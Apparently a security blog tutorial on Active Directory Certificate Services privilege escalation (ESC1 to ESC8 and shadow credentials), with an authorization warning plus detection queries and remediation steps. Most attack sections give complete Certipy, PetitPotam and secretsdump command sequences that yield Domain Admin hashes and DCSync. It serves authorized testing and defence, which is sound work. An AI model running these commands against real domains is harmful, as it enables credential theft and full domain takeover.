Skip to Content
Active Directory Certificate Services privilege escalation attack paths

ADCS attacks: certificate services privilege escalation (ESC1 to ESC8)

Active Directory Certificate Services misconfigurations from the ESC1 to ESC8 set, and how each one gets you a certificate for a privileged account.

Nov 24, 2026
Updated Nov 22, 2026
17 min read

Introduction

Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation, and it is often misconfigured. Will Schroeder and Lee Christensen documented eight misconfiguration classes (ESC1 to ESC8) in their 2021 SpecterOps whitepaper "Certified Pre-Owned". Each ESC path ends at the same place: a Kerberos TGT or NT hash for a privileged account, obtained through ordinary PKI operations. You never touch LSASS and you never crack a password.

All of it rests on certificate-based authentication (PKINIT). A valid certificate with a Subject Alternative Name (SAN) of administrator@domain.com authenticates to the KDC as that user. There are four ways to get such a certificate: request one directly, modify a template, relay NTLM to the enrollment endpoint, or write to msDS-KeyCredentialLink. Any of them gets you a TGT for the target account. Certificates are valid for months and survive password resets.

Two habits make this common. Templates are deployed with default permissions that let low-privilege domain users enroll, and the template flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is left on in templates that were copied from built-in ones without a review. Certipy (by Oliver Lyak) handles enumeration, exploitation and authentication for the ESC paths covered here.

Authorization required

These techniques are for authorized penetration tests and red team engagements only. Issued certificates outlive password changes and are hard to revoke in environments without CRL/OCSP monitoring, so record every certificate you request. Get written authorization that covers the PKI before testing.

Impact

  • A low-privilege domain user escalates to Domain Admin without touching LSASS
  • Certificates stay valid after password changes, so access survives credential rotation
  • ESC8 requires only network access to the CA web enrollment endpoint, no prior domain foothold
  • Shadow credentials persist in msDS-KeyCredentialLink and survive group policy resets
  • Certificate issuance does not generate Kerberos event logs in default configurations
  • An ESC4 template change or the ESC6 CA flag affects every later certificate request, from any user

Technical details

ADCS issues X.509 certificates from Certificate Authorities (CAs) registered in the AD forest. A certificate template defines what the certificate can be used for (EKU), who can enroll, and whether the CA or the enrollee supplies the subject.

The flags and EKUs that matter:

FlagDescriptionESC relevance
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTRequester controls the SANESC1, ESC2
CT_FLAG_NO_SECURITY_EXTENSIONmsPKI-Enrollment-Flag bit 0x80000. When set, the CA leaves the SID security extension out of the certificateBypasses the KB5014754 strong mapping (ESC9)
EDITF_ATTRIBUTESUBJECTALTNAME2CA-level flag allowing SAN in any requestESC6
EKU 1.3.6.1.5.5.7.3.2Client Authentication OIDRequired for PKINIT
EKU 2.5.29.37.0Any Purpose OIDESC2

Attack flow

Enumerate vulnerable templates

Certipy queries LDAP for all published templates and CA configurations in one pass.

Full ADCS enumeration
certipy find -u lowpriv@corp.local -p 'Password123!' -dc-ip 10.10.10.1 -vulnerable -stdout

The -vulnerable flag limits output to templates with exploitable conditions. Without -stdout, Certipy writes text and JSON files that hold the template ACL, EKU list and enrollment rights for offline analysis.

Save results for analysis
certipy find -u lowpriv@corp.local -p 'Password123!' -dc-ip 10.10.10.1 -vulnerable
# Outputs: corp.local_Certipy.zip (JSON + txt)

Fields to check in the output:

Certificate Templates
  Template Name                       : VulnerableUserTemplate
  Display Name                        : User Template
  Enabled                             : True
  Client Authentication               : True
  Enrollment Agent                    : False
  Any Purpose                         : False
  Enrollee Supplies Subject           : True      <-- ESC1
  Certificate Authorities             : corp-CA
  Enabled For                         : Domain Users
  [!] Vulnerabilities
    ESC1 : 'CORP.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

ESC1: enrollee-supplied SAN

The template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, a Client Authentication EKU, and enrollment rights for low-privilege users. You set the SAN to any account in the domain.

Request certificate as Domain Admin (ESC1)
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template VulnerableUserTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.1

Output:

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Authenticate with the certificate to get TGT + NT hash
certipy auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain corp.local \
  -dc-ip 10.10.10.1

Output:

[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

Pass the NT hash directly, or point KRB5CCNAME at the .ccache and use it with Impacket.

ESC2: templates with the Any Purpose EKU

The template has EKU 2.5.29.37.0 (Any Purpose) or no EKU restriction. A certificate with Any Purpose can be used as an enrollment agent for ESC3. In Certipy output, templates showing Any Purpose: True qualify.

Request Any Purpose certificate
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template AnyPurposeTemplate \
  -dc-ip 10.10.10.1

Use the resulting certificate as the enrollment agent in ESC3.

ESC3: enrollment agent template

ESC3 needs two templates: one with the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) and one that lets enrollment agents enroll on behalf of other users. Certipy handles both steps.

ESC3 step 1: get enrollment agent certificate
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template EnrollmentAgentTemplate \
  -dc-ip 10.10.10.1
# Saves: lowpriv.pfx
ESC3 step 2: enroll on behalf of Domain Admin
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx lowpriv.pfx \
  -dc-ip 10.10.10.1
# Saves: administrator.pfx

Authenticate with administrator.pfx using certipy auth, as in ESC1.

ESC4: write permissions on the template object

Your account has WriteProperty, WriteDacl or WriteOwner on the template object in AD. Modify the template so it meets the ESC1 conditions, request a certificate, then restore the template.

Modify template to enable ESC1 condition
certipy template \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -template VulnerableTemplate \
  -write-default-configuration \
  -dc-ip 10.10.10.1

Certipy saves the current configuration to VulnerableTemplate.json, then sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and adds the Client Authentication EKU. Exploit it as ESC1:

Request cert with modified template
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template VulnerableTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.1
Restore template to original state
certipy template \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -template VulnerableTemplate \
  -write-configuration VulnerableTemplate.json \
  -dc-ip 10.10.10.1

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

The CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set in its edit flags. Any request to this CA can carry an arbitrary SAN, whatever the template says. Templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT become exploitable too.

Certipy reports this in the CA section of find output:

Certificate Authorities
  CA Name                             : corp-CA
  [!] Vulnerabilities
    ESC6 : CA has 'EDITF_ATTRIBUTESUBJECTALTNAME2' flag set. Any user can specify a SAN while enrolling.
Request cert with SAN on any template (ESC6)
certipy req \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -ca corp-CA \
  -template User \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.1

User is a default template that domain users can enroll in. Authenticate with certipy auth as above.

ESC8: NTLM relay to web enrollment

The CA has the web enrollment role (/certsrv/) enabled over plain HTTP and accepts NTLM. Coerce the DC's machine account into authenticating to you with PetitPotam, relay that to the enrollment endpoint, and you receive a Domain Controller certificate. Use the certificate with PKINIT to get a TGT for the DC machine account, then DCSync.

Start the Certipy relay listener:

Start relay listener targeting web enrollment
certipy relay \
  -target http://10.10.10.5/certsrv/ \
  -template DomainController

In a second terminal, trigger DC authentication with PetitPotam:

Coerce DC authentication via PetitPotam
python3 PetitPotam.py \
  -u lowpriv \
  -p 'Password123!' \
  -d corp.local \
  10.10.10.50 \
  10.10.10.1
# 10.10.10.50 = attacker listener, 10.10.10.1 = DC

Certipy relay output:

[*] Requesting certificate for 'CORP\\DC01$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'DC01.corp.local'
[*] Saved certificate and private key to 'dc01.pfx'
Authenticate as DC machine account
certipy auth \
  -pfx dc01.pfx \
  -username 'DC01$' \
  -domain corp.local \
  -dc-ip 10.10.10.1
# Returns: DC01$@corp.local NT hash
DCSync with DC machine account hash
secretsdump.py \
  -hashes ':d25ecd13a8b4e7483d6f2c4b8b8a1234' \
  'corp.local/DC01$@10.10.10.1'

This one has no ESC number but it uses the same PKINIT path. With GenericWrite or WriteProperty on a user or computer object, you write your own key credential to msDS-KeyCredentialLink, then authenticate as the target over PKINIT with the matching private key.

Add shadow credential to target user
certipy shadow auto \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -account targetuser \
  -dc-ip 10.10.10.1

auto mode adds the key, authenticates to get the NT hash, then removes the key.

[*] Targeting user 'targetuser'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'a1b2c3d4...'
[*] Adding Key Credential with device ID 'a1b2c3d4...' to the Key Credentials for 'targetuser'
[*] Successfully added Key Credential with device ID 'a1b2c3d4...' to the Key Credentials for 'targetuser'
[*] Authenticating as 'targetuser' with the certificate
[*] Got hash for 'targetuser@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
[*] Restored the msDS-KeyCredentialLink attribute of the 'targetuser' user

For computer accounts (needed for S4U2Self lateral movement):

Shadow credential on computer account
certipy shadow auto \
  -u lowpriv@corp.local \
  -p 'Password123!' \
  -account 'WORKSTATION01$' \
  -dc-ip 10.10.10.1

Attack tools

Certipy covers every ADCS operation in this note from Linux. Install it with pipx:

Install Certipy
pipx install certipy-ad

The commands you will use most:

Enumerate all ESC paths
certipy find -u user@domain -p pass -dc-ip <DC-IP> -vulnerable -stdout

# With LDAPS (when the DC requires LDAP signing)
certipy find -u user@domain -p pass -dc-ip <DC-IP> -vulnerable -ldap-scheme ldaps

# Pass-the-hash authentication
certipy find -u user@domain -hashes ':NThash' -dc-ip <DC-IP> -vulnerable
Request certificate (ESC1/ESC2/ESC6)
certipy req -u user@domain -p pass \
  -ca <CA-Name> \
  -template <TemplateName> \
  -upn administrator@domain \
  -dc-ip <DC-IP>
Authenticate with certificate
# Get TGT + NT hash
certipy auth -pfx admin.pfx -username administrator -domain corp.local -dc-ip <DC-IP>

# Export to ccache for Impacket use
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/administrator@dc01.corp.local
ESC8 relay
certipy relay -target http://<CA-IP>/certsrv/ -template DomainController
Shadow credentials
# Full auto (add, auth, remove)
certipy shadow auto -u user@domain -p pass -account <target> -dc-ip <DC-IP>

# Manual (add only: persists until removed)
certipy shadow add -u user@domain -p pass -account <target> -dc-ip <DC-IP>

Detection

Event log sources

Event IDSourceDescription
4886Security (CA)Certificate was requested
4887Security (CA)Certificate was approved and issued
4768Security (DC)Kerberos TGT request (check the Certificate Issuer field)
4769Security (DC)Kerberos service ticket request
5136Security (DC)Directory service object modified (msDS-KeyCredentialLink)
4899/4900Security (CA)Certificate template modified

Behavioral indicators

For ESC1 and ESC6, look for certificate requests where the SAN differs from the requester's UPN. In 4887 events, correlate the Certificate Template and Requester fields. A member of Domain Users receiving a certificate with an admin UPN in the SAN is the pattern to alert on.

For ESC8, look for web enrollment authentication from a machine account (DC01$) over HTTP NTLM. IIS logs on the CA server show POST requests to /certsrv/certfnsh.asp from a source IP that is not the DC.

For shadow credentials, look for event 5136 with msDS-KeyCredentialLink as the attribute name. Alert on any change that does not come from the expected device management workflows (Intune, Windows Hello for Business).

SIEM query examples

KQL: Suspicious ADCS certificate issuance (Sentinel)
SecurityEvent
| where EventID == 4887
| where TargetUserName !endswith "$"
| extend CertTemplate = extract("Certificate Template: ([^\r\n]+)", 1, EventData)
| extend Requester = extract("Requester: ([^\r\n]+)", 1, EventData)
| extend SubjectAltName = extract("Subject Alternative Name: ([^\r\n]+)", 1, EventData)
| where SubjectAltName != "" and not(SubjectAltName contains Requester)
| project TimeGenerated, Requester, CertTemplate, SubjectAltName, Computer
KQL: msDS-KeyCredentialLink modification (Sentinel)
SecurityEvent
| where EventID == 5136
| where EventData contains "msDS-KeyCredentialLink"
| project TimeGenerated, SubjectUserName, ObjectName, Computer
KQL: PKINIT TGT requests (Certificate-based auth)
SecurityEvent
| where EventID == 4768
| where EventData contains "Certificate"
| extend TargetAccount = extract("TargetUserName: ([^\r\n]+)", 1, EventData)
| project TimeGenerated, TargetAccount, IpAddress, Computer

Remediation

ESC1 and ESC2

  • Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from every template that does not need it
  • Limit enrollment rights to specific security groups, not Domain Users or Authenticated Users
  • Where a template does need an enrollee-supplied SAN, require CA manager approval (CT_FLAG_PEND_ALL_REQUESTS)

ESC3

  • Restrict enrollment agent templates to dedicated enrollment agent accounts
  • Set msPKI-RA-Signature on the template to 1 or more so that on-behalf-of requests need an RA signature
  • Audit all templates with EKU 1.3.6.1.4.1.311.20.2.1

ESC4

  • Audit template ACLs. Nobody outside the PKI admins should have write permissions on template objects in CN=Certificate Templates,CN=Public Key Services,CN=Services
  • Use a dedicated PKI admins group so template management is separated from other admin roles

ESC6

  • Remove EDITF_ATTRIBUTESUBJECTALTNAME2 from all CA configurations:
    certutil -config "CA\CA-Name" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
    net stop certsvc && net start certsvc

ESC8

  • Disable IIS web enrollment if nobody uses it
  • If it is needed, enforce HTTPS and disable NTLM (require Kerberos or client certificate authentication)
  • Enable EPA (Extended Protection for Authentication) on the enrollment endpoint
  • Where NTLM can go, disable it with the Network security: Restrict NTLM: NTLM authentication in this domain policy on the domain controllers, or with Network security: Restrict NTLM: Incoming NTLM traffic on the AD CS servers (the two NTLM options in KB5005413)

Shadow credentials

  • Find and remove unneeded GenericWrite on user and computer objects with an ACL auditing tool such as BloodHound or ADACLScanner
  • Put privileged accounts in the Protected Users group. It does not block PKINIT, but it blocks NTLM for those accounts, so the NT hash that PKINIT returns cannot be passed
  • Monitor 5136 events for msDS-KeyCredentialLink changes

General hardening

  • Install the Microsoft Defender for Identity sensor on the ADCS server. MDI has built-in detections for the Certified Pre-Owned techniques
  • Enable audit logging at the CA (certutil -setreg CA\AuditFilter 127)
  • Deploy the May 2022 updates (KB5014754). They add the szOID_NTDS_CA_SECURITY_EXT extension, which binds a certificate to an AD account by SID

References

MITRE ATT&CK techniques

Tools and research

Next steps

On this page